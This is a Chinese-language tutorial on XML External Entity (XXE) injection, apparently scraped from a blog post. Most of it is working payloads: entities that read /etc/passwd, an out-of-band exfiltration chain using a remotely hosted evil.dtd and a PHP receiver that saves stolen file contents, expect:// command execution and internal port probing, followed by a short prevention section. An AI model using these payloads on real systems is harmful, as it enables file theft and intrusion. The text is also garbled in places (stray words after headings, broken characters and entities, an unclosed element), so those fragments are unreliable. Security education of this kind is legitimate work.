-
01 XML基础知识php
-
02 XXE漏洞原理css
-
03 XXE漏洞利用html
-
04 XXE漏洞绕过方式nginx
-
05 XXE形成的危害flask
-
06 XML注入预防安全
XML基础知识
微信
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。DTD(文档类型定义)的做用是定义 XML 文档的合法构建模块。DTD 能够在 XML 文档内声明,也能够外部引用。app
<?xml version=”1.0”> //xml声明
<!DOCTYPE note [
<!ELEMENT note (to, from, heading, body)>
<!ELEMENT to (#PCDATA)> //文档类型定义
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from> //文档元素
<heading>Reminder</heading>
<body>Don’t forget the meeting</body>
XXE漏洞原理
内部声明 DTD
<!DOCTYPE 根元素 [元素声明]>
引用外部 DTD
<!DOCTYPE 根元素 PBULIC "public_ID" "文件名">
/或者
<!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY copyright "Copyright xx.xx.xx">
]>
<c>©right;</c>
(2) 包含外部实体的 XML 文档
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY copyright SYSTEM "Copyright xx.xx.xx">
]>
<c>©right;</c>
XXE漏洞利用
libxml2:file、http、ftp
PHP:file、http、ftp、php、compress.zlib、compress.bzip二、data、glob、phar
Java:file、http、ftp、https、jar、netdoc、mailto、gopher
.NET:file、http、ftp、https
(2) 不一样解析器可能默认对于外部实体会有不一样的处理规则,有些可能不会对外部实体进行解析:
PHP:
-
DOM
SimpleXML
.NET:
-
System.Xml.XmlDocument
System.Xml.XmlReader
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<c>&file;</c>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c [
<!ENTITY % a "<!ENTITY b 'http://www.xxx.com'>"
%a;
]>
<c>&b;</c>
XXE漏洞绕过方式
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
方式2、xml内容为:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % d SYSTEM "http://ip/evil.dtd" >
%d;
]>
<root>
<name>&b;</name>
</root>
远程vps服务器 www/html文件下创建evil.dtd文件,文件内容以下:
<!ENTITY b SYSTEM "file:///etc/passwd">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >
<!ENTITY % remote SYSTEM "http://ip/evil2.dtd" >
%remote;
%all;
%send;
]>
远程端vps上在www/html文件夹下放置两个文件一个为test.php文件用于接收信息,另外一个为test.dtd,其中test.php代码以下:
<?php
$file = "./test.txt";
$content = base64_decode($_GET['file']);
file_put_contents($file , $content);
echo "\n";
?>
test.dtd中代码以下:
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://ip/xxe/test.php?file=%file;'>"
>
XML形成的危害
(1) 读取任意文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
(2) 执行系统命令
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>
<root>
<name>&xxe;
</name>
</root>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://172.16.9.200:22" >]>
<root>
<name>&xxe;</name>
</root>
XML注入预防
< <
> >
& &
‘ '
“ "
二、过滤用户提交的XML数据,关键词:,SYSTEM和PUBLIC;
三、禁用外部实体:libxml_disable_entity_loader(true)
- 往期推荐 -
【推荐书籍】
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论